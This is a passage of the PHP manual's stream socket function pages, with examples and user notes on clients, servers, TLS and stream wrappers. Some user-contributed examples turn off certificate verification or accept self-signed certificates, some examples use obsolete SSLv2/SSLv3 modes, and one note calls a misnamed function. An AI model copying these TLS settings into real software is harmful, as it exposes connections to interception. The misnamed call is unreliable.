    fclose($fp);
}
?>

Notes

Warning

UDP sockets will sometimes appear to have opened without an error, even if the remote host is unreachable. The error will only become apparent when you read or write data to/from the socket. The reason for this is because UDP is a "connectionless" protocol, which means that the operating system does not try to establish a link for the socket until it actually needs to send or receive data.

Note: When specifying a numerical IPv6 address (e.g. fe80::1), you must enclose the IP in square brackets—for example, tcp://[fe80::1]:80.

Note:

Depending on the environment, the Unix domain or the optional connect timeout may not be available. A list of available transports can be retrieved using stream_get_transports(). See List of Supported Socket Transports for a list of built in transports.

See Also

  • stream_socket_server() - Create an Internet or Unix domain server socket
  • stream_set_blocking() - Set blocking/non-blocking mode on a stream
  • stream_set_timeout() - Set timeout period on a stream
  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by tv_sec and tv_usec
  • fgets() - Gets line from file pointer
  • fgetss() - Gets line from file pointer and strip HTML tags
  • fwrite() - Binary-safe file write
  • fclose() - Closes an open file pointer
  • feof() - Tests for end-of-file on a file pointer
  • cURL Functions

User Contributed Notes

Daniel 13-Sep-2014 05:29
If you only need to check a stream for data, you can use stream_get_content and strtr function. stream_get_content
reads the remainder of a stream into a string.
<?php

$addr = gethostbyname('www.example.com');

$client = stream_socket_client("tcp://$addr:80", $errno, $errorMessage);

 if($client === false){
                throw new UnexpectedValueException("Failed to connect: $errorMessage");
        }

        fwrite($client, "GET / HTTP/1.0\r\nhost:    'www.example.com'\r\nAccept: */*\r\n\r\n");

$variable = stream_get_content($client);

if(strstr($variable,'data your looking for'))
       echo "The data you are looking for is here";
else
       echo "data not found";

fclose($client);
?>
Vasil Rangelov a.k.a. boen_robot 14-Aug-2011 10:11
The remote_socket argument, in its end (well... after the port), can also contain a "/" followed by a unique identifier. This is especially useful if you want to create multiple persistent connections to the same transport://host:port combo.

Example:
<?php
$socket = stream_socket_client('tcp://mysql.example.com:3306/root', $errorno, $errorstr, $timeout, STREAM_CLIENT_CONNECT | STREAM_CLIENT_PERSISTENT);
?>

Note that while (p)fsockopen() follows a similar scheme, it doesn't have this particular feature.
bisho at onirica dot com 29-Mar-2010 06:04
stream_socket_client is much easier and faster to use to direct sockets, because you can use directly fwrite / fget / fclose functions, but I find hard to find how to connect to a UNIX domain socket. The URL to use is "udg:///path/to/socket".

For example, to log to the log socket (like syslog), you can use:

<?php
$socket = stream_socket_client('udg:///dev/log',
        $errorno,
        $errorstr,
        $timeout);
fwrite($socket, ...);
?>
nicholas at nicholaswilliams dot net 29-Oct-2008 02:08
For those wanting to use stream_socket_client() to connect to a local UNIX socket who can't find documentation on how to do it, here's a (rough) example:

<?php

$sock = stream_socket_client('unix:///full/path/to/my/socket.sock', $errno, $errstr);

fwrite($sock, 'SOME COMMAND'."\r\n");

echo fread($sock, 4096)."\n";

fclose($sock);

?>
robin at gareus dot org 27-Aug-2008 12:34
I came here since fsockopen() does not support any SSL certificate checking in PHP5.

while curl is nice, I use stream_socket_client() to make XML-RPC POST requests via HTTPS and since I have not found any PHP code around that does this, I'll attach an example that also includes HTTP-Digest Auth (eg. trac's WikiRPCInterface2):

<?php
#################################################
# $host: hostname ; eg 'example.org'
# $path: request' eg '/index.php?id=123'
# $data_to_send : data to POST after the HTTP header.
#
# if $opts is an  empty array() a standard  HTTP to port 80 request is performed.
#
# set auth['type']='basic' to use plain-text auth,
# digest-auth will be handled automatically if $auth['username'] is set and a 401
# status is encountered. - use auth['type']='nodigest' to override.
#
##
function httpPost($host, $path, $data_to_send,
                  $opts=array('cert'=>"", 'headers'=>0, 'transport' =>'ssl', 'port'=>443),
                  $auth=array('username'=>"", 'password'=>"", 'type'=>"")
                 ) {
  $transport=''; $port=80;
  if (!empty($opts['transport'])) $transport=$opts['transport'];
  if (!empty($opts['port'])) $port=$opts['port'];
  $remote=$transport.'://'.$host.':'.$port;

  $context = stream_context_create();
  $result = stream_context_set_option($context, 'ssl', 'verify_host', true);
  if (!empty($opts['cert'])) {
    $result = stream_context_set_option($context, 'ssl', 'cafile', $opts['cert']);
    $result = stream_context_set_option($context, 'ssl', 'verify_peer', true);
  } else {
    $result = stream_context_set_option($context, 'ssl', 'allow_self_signed', true);
  }
  $fp = stream_socket_client($remote, $err, $errstr, 60, STREAM_CLIENT_CONNECT, $context);

  if (!$fp) {
    trigger_error('httpPost error: '.$errstr);
    return NULL;
  }

  $req='';
  $req.="POST $path HTTP/1.1\r\n";
  $req.="Host: $host\r\n";
  if ($auth['type']=='basic' && !empty($auth['username'])) {
    $req.="Authorization: Basic ";
    $req.=base64_encode($auth['username'].':'.$auth['password'])."\r\n";
  }
  elseif ($auth['type']=='digest' && !empty($auth['username'])) {
    $req.='Authorization: Digest ';
    foreach ($auth as $k => $v) {
      if (empty($k) || empty($v)) continue;
      if ($k=='password') continue;
      $req.=$k.'="'.$v.'", ';
    }
    $req.="\r\n";
  }
  $req.="Content-type: text/xml\r\n";
  $req.='Content-length: '. strlen($data_to_send) ."\r\n";
  $req.="Connection: close\r\n\r\n";

  fputs($fp, $req);
  fputs($fp, $data_to_send);

  while(!feof($fp)) { $res .= fgets($fp, 128); }
  fclose($fp);

  if ($auth['type']!='nodigest'
        && !empty($auth['username'])
        && $auth['type']!='digest' # prev. digest AUTH failed.
        && preg_match("/^HTTP\/[0-9\.]* 401 /", $res)) {
    if (1 == preg_match("/WWW-Authenticate: Digest ([^\n\r]*)\r\n/Us", $res, $matches)) {
      foreach (split(",", $matches[1]) as $i) {
        $ii=split("=",trim($i),2);
        if (!empty($ii[1]) && !empty($ii[0])) {
          $auth[$ii[0]]=preg_replace("/^\"/",'', preg_replace("/\"$/",'', $ii[1]));
        }
      }
      $auth['type']='digest';
      $auth['uri']='https://'.$host.$path;
      $auth['cnonce']=randomNonce();
      $auth['nc']=1;
      $a1=md5($auth['username'].':'.$auth['realm'].':'.$auth['password']);
      $a2=md5('POST'.':'.$auth['uri']);
      $auth['response']=md5($a1.':'
                           .$auth['nonce'].':'.$auth['nc'].':'
                           .$auth['cnonce'].':'.$auth['qop'].':'.$a2);
      return httpPost($host, $path, $data_to_send, $opts, $auth);
    }
  }

  if (1 != preg_match("/^HTTP\/[0-9\.]* ([0-9]{3}) ([^\r\n]*)/", $res, $matches)) {
    trigger_error('httpPost: invalid HTTP reply.');
    return NULL;
  }

  if ($matches[1] != '200') {
    trigger_error('httpPost: HTTP error: '.$matches[1].' '.$matches[2]);
    return NULL;
  }

  if (!$opts['headers']) {
    $res=preg_replace("/^.*\r\n\r\n/Us",'',$res);
  }
  return $res;
}
?>
wbeaver at afilias dot info 31-Aug-2007 11:06
# Some may find it useful to know that your caCert
# must be in pem format, and that PHP seems to like
# your key, cert, and cacert pem's to be concatenated
# in a single file (I suffered various "unknown chain"
# errors, otherwise)
#
# So, (linux users), concat your components as follows:
# (where current working dir is dir where
# cert components are stored)
#
# cat key.pem >certchain.pem
# cat cert.pem >>certchain.pem
# cat cacert.pem >>certchain.pem
#
# Then, the php....
##################################

<?php

$host = 'host.domain.tld';
$port = 1234;
$timeout = 10;

$cert = '/path/to/your/certchain/certchain.pem';
$context = stream_context_create(array('ssl'=>array('local_cert'=> $cert,
)));

if ($fp = stream_socket_client('ssl://'.$host.':'.$port, $errno, $errstr, 30,
        STREAM_CLIENT_CONNECT, $context)) {
    fwrite($fp, "\n");
    echo fread($fp,8192);
    fclose($fp);
} else {
   echo "ERROR: $errno - $errstr<br />\n";
}

?>


Turns encryption on/off on an already connected socket

  • « stream_socket_client
  • stream_socket_get_name »
  • PHP Manual
  • Stream Functions
  • Turns encryption on/off on an already connected socket

stream_socket_enable_crypto

(PHP 5 >= 5.1.0)

stream_socket_enable_crypto — Turns encryption on/off on an already connected socket

Description

mixed stream_socket_enable_crypto ( resource $stream , bool $enable [, int $crypto_type [, resource $session_stream ]] )

Enable or disable encryption on the stream.

Once the crypto settings are established, cryptography can be turned on and off dynamically by passing TRUE or FALSE in the enable parameter.

Parameters

stream

The stream resource.

enable

Enable/disable cryptography on the stream.

crypto_type

Setup encryption on the stream. Valid methods are

  • STREAM_CRYPTO_METHOD_SSLv2_CLIENT
  • STREAM_CRYPTO_METHOD_SSLv3_CLIENT
  • STREAM_CRYPTO_METHOD_SSLv23_CLIENT
  • STREAM_CRYPTO_METHOD_TLS_CLIENT
  • STREAM_CRYPTO_METHOD_SSLv2_SERVER
  • STREAM_CRYPTO_METHOD_SSLv3_SERVER
  • STREAM_CRYPTO_METHOD_SSLv23_SERVER
  • STREAM_CRYPTO_METHOD_TLS_SERVER

If omitted, the crypto_type context option on the stream's SSL context will be used instead.

session_stream

Seed the stream with settings from session_stream.

Return Values

Returns TRUE on success, FALSE if negotiation has failed or 0 if there isn't enough data and you should try again (only for non-blocking sockets).

Changelog

Version | Description
5.6.0 | The crypto_type is now optional.

Examples

Example #1 stream_socket_enable_crypto() example

<?php
$fp = stream_socket_client("tcp://myproto.example.com:31337", $errno, $errstr, 30);
if (!$fp) {
    die("Unable to connect: $errstr ($errno)");
}

/* Turn on encryption for login phase */
stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_SSLv23_CLIENT);
fwrite($fp, "USER god\r\n");
fwrite($fp, "PASS secret\r\n");

/* Turn off encryption for the rest */
stream_socket_enable_crypto($fp, false);

while ($motd = fgets($fp)) {
    echo $motd;
}

fclose($fp);
?>

The above example will output something similar to:

See Also

  • OpenSSL Functions
    •

  • List of Supported Socket Transports
    •

User Contributed Notes

   mark at kinoko dot fr
   06-Nov-2007 08:00

Just to avoid letting you search everywhere why your code doesn't work when using this function to enable crypto as a server, and when using TLS, you have to put the certificate in the "ssl" context, even if you start a TLS, SSLv3, etc.. server.

I had some troubles because of that...

   tigger (AT) tiggerswelt d0t net
   30-May-2007 12:15

As already mentioned above:

stream_socket_enable_crypto is likely to fail/return zero if the socket is in non-blocking mode.

You may either wait some seconds until all neccessary data has arrived or switch temporary to blocking mode:

<?PHP

  stream_set_blocking ($fd, true);

  stream_socket_enable_crypto ($fd, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);

  stream_set_blocking ($fd, false);

?>

This works very fine for me ;-)


Retrieve the name of the local or remote sockets

  • « stream_socket_enable_crypto
  • stream_socket_pair »
  • PHP Manual
  • Stream Functions
  • Retrieve the name of the local or remote sockets

stream_socket_get_name

(PHP 5)

stream_socket_get_name — Retrieve the name of the local or remote sockets

Description

string stream_socket_get_name ( resource $handle , bool $want_peer )

Returns the local or remote name of a given socket connection.

Parameters

handle

The socket to get the name of.

want_peer

If set to TRUE the remote socket name will be returned, if set to FALSE the local socket name will be returned.

Return Values

The name of the socket.

See Also

  • stream_socket_accept() - Accept a connection on a socket created by stream_socket_server

User Contributed Notes

recycling dot sp dot am at gmail dot com 10-Sep-2010 05:29
Surprisingly, on my Linux system, when connected to a localhost service using IPV4, stream_get_socket_name returns ::1 as the peer or local address. One would expect to get localhost or 127.0.0.1 but the ::1 IPV6 localhost is returned instead.
eddi at to-grip dot de 15-May-2006 09:07
Use this function to check current status of a connection:
<?php
$c=stream_socket_server("tcp://127.0.0.1:1100");
while(1){
   if(is_resource($a=stream_socket_accept($c))){
      # do something time-consuming
      if(stream_socket_get_name($a,true)!==false){
         fwrite($a,"Regards form Berlin");
      }
   }
} ?>


Creates a pair of connected, indistinguishable socket streams

  • « stream_socket_get_name
  • stream_socket_recvfrom »
  • PHP Manual
  • Stream Functions
  • Creates a pair of connected, indistinguishable socket streams

stream_socket_pair

(PHP 5 >= 5.1.0)

stream_socket_pair — Creates a pair of connected, indistinguishable socket streams

Description

array stream_socket_pair ( int $domain , int $type , int $protocol )

stream_socket_pair() creates a pair of connected, indistinguishable socket streams. This function is commonly used in IPC (Inter-Process Communication).

Parameters

domain

The protocol family to be used: STREAM_PF_INET, STREAM_PF_INET6 or STREAM_PF_UNIX

type

The type of communication to be used: STREAM_SOCK_DGRAM, STREAM_SOCK_RAW, STREAM_SOCK_RDM, STREAM_SOCK_SEQPACKET or STREAM_SOCK_STREAM

protocol

The protocol to be used: STREAM_IPPROTO_ICMP, STREAM_IPPROTO_IP, STREAM_IPPROTO_RAW, STREAM_IPPROTO_TCP or STREAM_IPPROTO_UDP

Note: Please consult the Streams constant list for further details on each constant.

Return Values

Returns an array with the two socket resources on success, or FALSE on failure.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.

Examples

Example #1 A stream_socket_pair() example

This example shows the basic usage of stream_socket_pair() in Inter-Process Comunication.

<?php

$sockets = stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
$pid     = pcntl_fork();

if ($pid == -1) {
     die('could not fork');

} else if ($pid) {
     /* parent */
    fclose($sockets[0]);

    fwrite($sockets[1], "child PID: $pid\n");
    echo fgets($sockets[1]);

    fclose($sockets[1]);

} else {
    /* child */
    fclose($sockets[1]);

    fwrite($sockets[0], "message from child\n");
    echo fgets($sockets[0]);

    fclose($sockets[0]);
}

?>

The above example will output something similar to:

child PID: 1378
message from child

User Contributed Notes

There are no user contributed notes for this page.


Receives data from a socket, connected or not

  • « stream_socket_pair
  • stream_socket_sendto »
  • PHP Manual
  • Stream Functions
  • Receives data from a socket, connected or not

stream_socket_recvfrom

(PHP 5)

stream_socket_recvfrom — Receives data from a socket, connected or not

Description

string stream_socket_recvfrom ( resource $socket , int $length [, int $flags = 0 [, string &$address ]] )

stream_socket_recvfrom() accepts data from a remote socket up to length bytes.

Parameters

socket

The remote socket.

length

The number of bytes to receive from the socket.

flags

The value of flags can be any combination of the following:

Possible values for flags
STREAM_OOB | Process OOB (out-of-band) data.
STREAM_PEEK | Retrieve data from the socket, but do not consume the buffer. Subsequent calls to fread() or stream_socket_recvfrom() will see the same data.

address

If address is provided it will be populated with the address of the remote socket.

Return Values

Returns the read data, as a string

Examples

Example #1 stream_socket_recvfrom() example

<?php
/* Open a server socket to port 1234 on localhost */
$server = stream_socket_server('tcp://127.0.0.1:1234');

/* Accept a connection */
$socket = stream_socket_accept($server);

/* Grab a packet (1500 is a typical MTU size) of OOB data */
echo "Received Out-Of-Band: '" . stream_socket_recvfrom($socket, 1500, STREAM_OOB) . "'\n";

/* Take a peek at the normal in-band data, but don't comsume it. */
echo "Data: '" . stream_socket_recvfrom($socket, 1500, STREAM_PEEK) . "'\n";

/* Get the exact same packet again, but remove it from the buffer this time. */
echo "Data: '" . stream_socket_recvfrom($socket, 1500) . "'\n";

/* Close it up */
fclose($socket);
fclose($server);
?>

Notes

Note:

If a message received is longer than the length parameter, excess bytes may be discarded depending on the type of socket the message is received from (such as UDP).

Note:

Calls to stream_socket_recvfrom() on socket-based streams, after calls to buffer-based stream functions (like fread() or stream_get_line()) read data directly from the socket and bypass the stream buffer.

See Also

  • stream_socket_sendto() - Sends a message to a socket, whether it is connected or not
  • stream_socket_client() - Open Internet or Unix domain socket connection
  • stream_socket_server() - Create an Internet or Unix domain server socket

User Contributed Notes

MagicalTux at php dot net 16-Feb-2011 08:13
This method may return a peer address not compatible with stream_socket_sendto() if in ipv6.

The ip returned by recvfrom is not within brackets ([]), and has the port appended, which makes it look like ::1:1234. To cut it properly, use strrpos()
cweiske at php dot net 28-Feb-2010 02:42
Note that stream_socket_recvfrom() bypasses stream wrappers including TLS/SSL. While reading from an encrypted stream with fread() will return decrypted data, using stream_socket_recvfrom() will give you the original encrypted bytes.


Sends a message to a socket, whether it is connected or not

  • « stream_socket_recvfrom
  • stream_socket_server »
  • PHP Manual
  • Stream Functions
  • Sends a message to a socket, whether it is connected or not

stream_socket_sendto

(PHP 5)

stream_socket_sendto — Sends a message to a socket, whether it is connected or not

Description

int stream_socket_sendto ( resource $socket , string $data [, int $flags = 0 [, string $address ]] )

Sends the specified data through the socket.

Parameters

socket

The socket to send data to.

data

The data to be sent.

flags

The value of flags can be any combination of the following:

possible values for flags
STREAM_OOB Process OOB (out-of-band) data.

address

The address specified when the socket stream was created will be used unless an alternate address is specified in address.

If specified, it must be in dotted quad (or [ipv6]) format.

Return Values

Returns a result code, as an integer.

Examples

Example #1 stream_socket_sendto() Example

<?php
/* Open a socket to port 1234 on localhost */
$socket = stream_socket_client('tcp://127.0.0.1:1234');

/* Send ordinary data via ordinary channels. */
fwrite($socket, "Normal data transmit.");

/* Send more data out of band. */
stream_socket_sendto($socket, "Out of Band data.", STREAM_OOB);

/* Close it up */
fclose($socket);
?>

See Also

  • stream_socket_recvfrom() - Receives data from a socket, connected or not
  • stream_socket_client() - Open Internet or Unix domain socket connection
  • stream_socket_server() - Create an Internet or Unix domain server socket

User Contributed Notes

mrforsythexeter at googlemail dot com 11-Jul-2013 01:07
The return appears to be the size in bytes of the data written to the socket, or -1 on failure (this could be because of non blocking)


Create an Internet or Unix domain server socket

  • « stream_socket_sendto
  • stream_socket_shutdown »
  • PHP Manual
  • Stream Functions
  • Create an Internet or Unix domain server socket

stream_socket_server

(PHP 5)

stream_socket_server — Create an Internet or Unix domain server socket

Description

resource stream_socket_server ( string $local_socket [, int &$errno [, string &$errstr [, int $flags = STREAM_SERVER_BIND | STREAM_SERVER_LISTEN [, resource $context ]]]] )

Creates a stream or datagram socket on the specified local_socket.

This function only creates a socket, to begin accepting connections use stream_socket_accept().

Parameters

local_socket

The type of socket created is determined by the transport specified using standard URL formatting: transport://target.

For Internet Domain sockets (AF_INET) such as TCP and UDP, the target portion of the remote_socket parameter should consist of a hostname or IP address followed by a colon and a port number. For Unix domain sockets, the target portion should point to the socket file on the filesystem.

Depending on the environment, Unix domain sockets may not be available. A list of available transports can be retrieved using stream_get_transports(). See List of Supported Socket Transports for a list of bulitin transports.

errno

If the optional errno and errstr arguments are present they will be set to indicate the actual system level error that occurred in the system-level socket(), bind(), and listen() calls. If the value returned in errno is 0 and the function returned FALSE, it is an indication that the error occurred before the bind() call. This is most likely due to a problem initializing the socket. Note that the errno and errstr arguments will always be passed by reference.

errstr

See errno description.

flags

A bitmask field which may be set to any combination of socket creation flags.

Note:

For UDP sockets, you must use STREAM_SERVER_BIND as the flags parameter.

context

Return Values

Returns the created stream, or FALSE on error.

Examples

Example #1 Using TCP server sockets

<?php
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr);
if (!$socket) {
  echo "$errstr ($errno)<br />\n";
} else {
  while ($conn = stream_socket_accept($socket)) {
    fwrite($conn, 'The local time is ' . date('n/j/Y g:i a') . "\n");
    fclose($conn);
  }
  fclose($socket);
}
?>

The example below shows how to act as a time server which can respond to time queries as shown in an example on stream_socket_client().

Note: Most systems require root access to create a server socket on a port below 1024.

Example #2 Using UDP server sockets

<?php
$socket = stream_socket_server("udp://127.0.0.1:1113", $errno, $errstr, STREAM_SERVER_BIND);
if (!$socket) {
    die("$errstr ($errno)");
}

do {
    $pkt = stream_socket_recvfrom($socket, 1, 0, $peer);
    echo "$peer\n";
    stream_socket_sendto($socket, date("D M j H:i:s Y\r\n"), 0, $peer);
} while ($pkt !== false);

?>

Notes

Note: When specifying a numerical IPv6 address (e.g. fe80::1), you must enclose the IP in square brackets—for example, tcp://[fe80::1]:80.

See Also

  • stream_socket_client() - Open Internet or Unix domain socket connection
  • stream_set_blocking() - Set blocking/non-blocking mode on a stream
  • stream_set_timeout() - Set timeout period on a stream
  • fgets() - Gets line from file pointer
  • fgetss() - Gets line from file pointer and strip HTML tags
  • fwrite() - Binary-safe file write
  • fclose() - Closes an open file pointer
  • feof() - Tests for end-of-file on a file pointer
  • Curl extension

User Contributed Notes

Aurelien Marchand 11-Mar-2011 08:54
In the case of AF_UNIX sockets, note the named sockets that will be created respects your umask(). So if you wanted your named socket to be writeable to all, do umask(0) prior to calling stream_socket_server().

AM
frxstrem 26-Jun-2010 07:18
Using the OpenSSL extension, PHP can automatically generate self-signed SSL certificates, which can be used for basic authentication and encryption (although I would recommend to use a signed certificate instead) for SSL servers.

I have extended the script by 'e at osterman dot com' to automatically create self-signed certificates:

<?php
// Hello World! SSL HTTP Server.
// Tested on PHP 5.1.2-1+b1 (cli) (built: Mar 20 2006 04:17:24)

// Certificate data:
$dn = array(
    "countryName" => "UK",
    "stateOrProvinceName" => "Somerset",
    "localityName" => "Glastonbury",
    "organizationName" => "The Brain Room Limited",
    "organizationalUnitName" => "PHP Documentation Team",
    "commonName" => "Wez Furlong",
    "emailAddress" => "wez@example.com"
);

// Generate certificate
$privkey = openssl_pkey_new();
$cert    = openssl_csr_new($dn, $privkey);
$cert    = openssl_csr_sign($cert, null, $privkey, 365);

// Generate PEM file
# Optionally change the passphrase from 'comet' to whatever you want, or leave it empty for no passphrase
$pem_passphrase = 'comet';
$pem = array();
openssl_x509_export($cert, $pem[0]);
openssl_pkey_export($privkey, $pem[1], $pem_passphrase);
$pem = implode($pem);

// Save PEM file
$pemfile = './server.pem';
file_put_contents($pemfile, $pem);

$context = stream_context_create();

// local_cert must be in PEM format
stream_context_set_option($context, 'ssl', 'local_cert', $pemfile);
// Pass Phrase (password) of private key
stream_context_set_option($context, 'ssl', 'passphrase', $pem_passphrase);

stream_context_set_option($context, 'ssl', 'allow_self_signed', true);
stream_context_set_option($context, 'ssl', 'verify_peer', false);

// Create the server socket
$server = stream_socket_server('ssl://0.0.0.0:9001', $errno, $errstr, STREAM_SERVER_BIND|STREAM_SERVER_LISTEN, $context);

while(true)
{
    $buffer = '';
    print "waiting...";
    $client = stream_socket_accept($server);
    print "accepted " . stream_socket_get_name( $client, true) . "\n";
    if( $client )
    {
        // Read until double CRLF
        while( !preg_match('/\r?\n\r?\n/', $buffer) )
            $buffer .= fread($client, 2046);
        // Respond to client
        fwrite($client,  "200 OK HTTP/1.1\r\n"
                         . "Connection: close\r\n"
                         . "Content-Type: text/html\r\n"
                         . "\r\n"
                         . "Hello World! " . microtime(true)
                         . "<pre>{$buffer}</pre>");
        fclose($client);
    } else {
        print "error.\n";
    }
}

?>
peterjb at me dot com 02-Jan-2010 12:48
I had a horrible time trying to shove a TLS socket into an existing TCP program.  It appears to me that functions like stream_socket_recvfrom and stream_socket_sendto don't work with TLS/SSL (which may be obvious to PHP gurus...sorry if it is, I'm in a bit over my head here).

In the end I ended up doing all my IO with fread() and fwrite(), which solved all my problems.
davidm at marketo dot com 23-Nov-2009 01:15
In some specialized scenarios, you may want to create an AF_INET socket (UDP or TCP) but let the system select an unused port for you.  This is a standard feature of internet sockets but it doesn't seem to be documented how to do this for the stream_socket_server function.  It appears you can get this behavior by selecting zero for the port number, for example, my test below printed "127.0.0.1:4960".

<?php
  $sock = stream_socket_server("udp://127.0.0.1:0");
  $name = stream_socket_get_name($sock);
  echo $name;
?>
Julien Picalausa 24-May-2009 10:27
You may have noticed that, unlike socket_listen, stream_socket_server doesn't have a backlog parameter. From the source code of php 5.2.9, it looks like the backlog parameter to the actual listen call is hardcoded to be 5. If this value doesn't suit your needs, you'll have to use the lower-level socket functions.
Neil Munro 05-Jul-2006 10:26
If you want a high speed socket server, use the low-level sockets instead (socket_create/bind/listen). The stream_socket_server version appears to have internal fixed 8k buffers that will overflow if you don't keep up by reading.

This is a serious problem if you an application that reads the socket for messages and then, say, saves the result in a database. The delay while it is busy processing means you can't read the data in time unless you get involved in muti-threading.

With the the low-level functions, the OS quietly buffers TCP/IP packets so there is no problem (tested on Windows XP Professional).
andrey at php dot net 08-Aug-2004 06:02
Just a small example how to use this function and also stream_select() to make a server that accepts more than one connections (can have many clients connected):
In master we hold all opened connections. Just before calling stream select we copy the array to $read and then pass it ot stream_select(). In case that we may read from at least one socket, $read will contain socket descriptors. $master is needed not to lose references to the opened connections we have.
stream_server.php :
<?php

$master = array();
$socket = stream_socket_server("tcp://0.0.0.0:8000", $errno, $errstr);
if (!$socket) {
    echo "$errstr ($errno)<br />\n";
} else {
    $master[] = $socket;
    $read = $master;
    while (1) {
        $read = $master;
        $mod_fd = stream_select($read, $_w = NULL, $_e = NULL, 5);
        if ($mod_fd === FALSE) {
            break;
        }
        for ($i = 0; $i < $mod_fd; ++$i) {
            if ($read[$i] === $socket) {
                $conn = stream_socket_accept($socket);
                fwrite($conn, "Hello! The time is ".date("n/j/Y g:i a")."\n");
                $master[] = $conn;
            } else {
                $sock_data = fread($read[$i], 1024);
                var_dump($sock_data);
                if (strlen($sock_data) === 0) { // connection closed
                    $key_to_del = array_search($read[$i], $master, TRUE);
                    fclose($read[$i]);
                    unset($master[$key_to_del]);
                } else if ($sock_data === FALSE) {
                    echo "Something bad happened";
                    $key_to_del = array_search($read[$i], $master, TRUE);
                    unset($master[$key_to_del]);
                } else {
                    echo "The client has sent :"; var_dump($sock_data);
                    fwrite($read[$i], "You have sent :[".$sock_data."]\n");
                    fclose($read[$i]);
                     unset($master[array_search($read[$i], $master)]);
                }
            }
        }
    }
}
?>
stream_client.php:
<?php
$fp = stream_socket_client("tcp://127.0.0.1:8000", $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    fwrite($fp, "Aloha");
    while (!feof($fp)) {
        var_dump(fgets($fp, 1024));
    }
    fclose($fp);
}
?>

Thanks


Shutdown a full-duplex connection

  • « stream_socket_server
  • stream_supports_lock »
  • PHP Manual
  • Stream Functions
  • Shutdown a full-duplex connection

stream_socket_shutdown

(PHP 5 >= 5.2.1)

stream_socket_shutdown — Shutdown a full-duplex connection

Description

bool stream_socket_shutdown ( resource $stream , int $how )

Shutdowns (partially or not) a full-duplex connection.

Parameters

stream

An open stream (opened with stream_socket_client(), for example)

how

One of the following constants: STREAM_SHUT_RD (disable further receptions), STREAM_SHUT_WR (disable further transmissions) or STREAM_SHUT_RDWR (disable further receptions and transmissions).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 A stream_socket_shutdown() example

<?php

$server = stream_socket_server('tcp://127.0.0.1:1337');
$client = stream_socket_client('tcp://127.0.0.1:1337');

var_dump(fputs($client, "hello"));

stream_socket_shutdown($client, STREAM_SHUT_WR);
var_dump(fputs($client, "hello")); // doesn't work now

?>

The above example will output something similar to:

int(5)

Notice: fputs(): send of 5 bytes failed with errno=32 Broken pipe in test.php on line 9
int(0)

See Also

  • fclose() - Closes an open file pointer

User Contributed Notes

jgotti 08-Sep-2012 03:22
Just a note to say that if you encounter problem closing some sockets using fclose in a multi client server, you should really  give this one a try.

Spent a full day trying to resolve this issue using stream_socket_shutdown($clientStream,STREAM_SHUT_RDWR);
finally do the trick.


Tells whether the stream supports locking.

  • « stream_socket_shutdown
  • stream_wrapper_register »
  • PHP Manual
  • Stream Functions
  • Tells whether the stream supports locking.

stream_supports_lock

(PHP 5 >= 5.3.0)

stream_supports_lock — Tells whether the stream supports locking.

Description

bool stream_supports_lock ( resource $stream )

Tells whether the stream supports locking through flock().

Parameters

stream

The stream to check.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • flock() - Portable advisory file locking

User Contributed Notes

romain dot ardiet at gmail dot com 24-Oct-2014 05:54
This method returns TRUE on custom wrappers by default if you don't implement the stream_lock() method inside the wrapper : http://php.net/manual/en/streamwrapper.stream-lock.php
derkontrollfreak+9hy5l at gmail dot com 25-Aug-2014 06:09
stream_supports_lock() always returns TRUE on custom wrappers.


Register a URL wrapper implemented as a PHP class

  • « stream_supports_lock
  • stream_wrapper_restore »
  • PHP Manual
  • Stream Functions
  • Register a URL wrapper implemented as a PHP class

stream_wrapper_register

(PHP 4 >= 4.3.2, PHP 5)

stream_wrapper_register — Register a URL wrapper implemented as a PHP class

Description

bool stream_wrapper_register ( string $protocol , string $classname [, int $flags = 0 ] )

Allows you to implement your own protocol handlers and streams for use with all the other filesystem functions (such as fopen(), fread() etc.).

Parameters

protocol

The wrapper name to be registered.

classname

The classname which implements the protocol.

flags

Should be set to STREAM_IS_URL if protocol is a URL protocol. Default is 0, local stream.

Return Values

Returns TRUE on success or FALSE on failure.

stream_wrapper_register() will return FALSE if the protocol already has a handler.

Changelog

Version | Description
5.2.4 | Added the flags parameter.

Examples

Example #1 How to register a stream wrapper

<?php
$existed = in_array("var", stream_get_wrappers());
if ($existed) {
    stream_wrapper_unregister("var");
}
stream_wrapper_register("var", "VariableStream");
$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);

if ($existed) {
    stream_wrapper_restore("var");
}

?>

The above example will output:

line1
line2
line3
string(18) "line1
line2
line3
"

See Also

  • The streamWrapper prototype class
  • Example class registered as stream wrapper
  • stream_wrapper_unregister() - Unregister a URL wrapper
  • stream_wrapper_restore() - Restores a previously unregistered built-in wrapper
  • stream_get_wrappers() - Retrieve list of registered streams

User Contributed Notes

dmarjos at gmail dot com 05-Sep-2013 10:23
Be aware that even when stream_wrapper_register won't fail, open_basedir will affect functionality of the class.
Anonymous 16-Sep-2008 08:19
"for use with all the other filesystem functions"

"all" is not accurate.  Unfortunately, zip_open(), and presumably others, will ignore your custom stream wrapper.
phrank 17-Apr-2008 10:38
Actually, I don't know if there's a better way to figure out if stream_read() was called by fgets() or e.g. fread() than this one:

    public function stream_read($count)
    {
        $bt = debug_backtrace();
        if(($bt[0]['function'] == 'stream_read') &&
           ($bt[1]['function'] == 'fgets'))
        {
                $pos = strpos($GLOBALS[$this->varname], "\n", $this->position);
                $retval = substr($GLOBALS[$this->varname], $this->position, ($pos > $count) ? $count : $pos+1);

        }
        else
        {
                $retval = substr($GLOBALS[$this->varname], $this->position, $count);

        }
                $this->position += strlen($retval);
                return (string)$retval;
    }
yeiniel at gmail dot com 15-Oct-2007 04:30
on using dir_opendir on PHP5 make sure you not return a resource object on success. A resource object is diferent from false but php make a cast to bool to dir_opendir return value and modify the value of your resource to 1.

example:

class myclass{
  private $mysqlHandler;
  public function dir_opendir(....)
  {
    $this->mysqlHandler = mysql_connect(....);
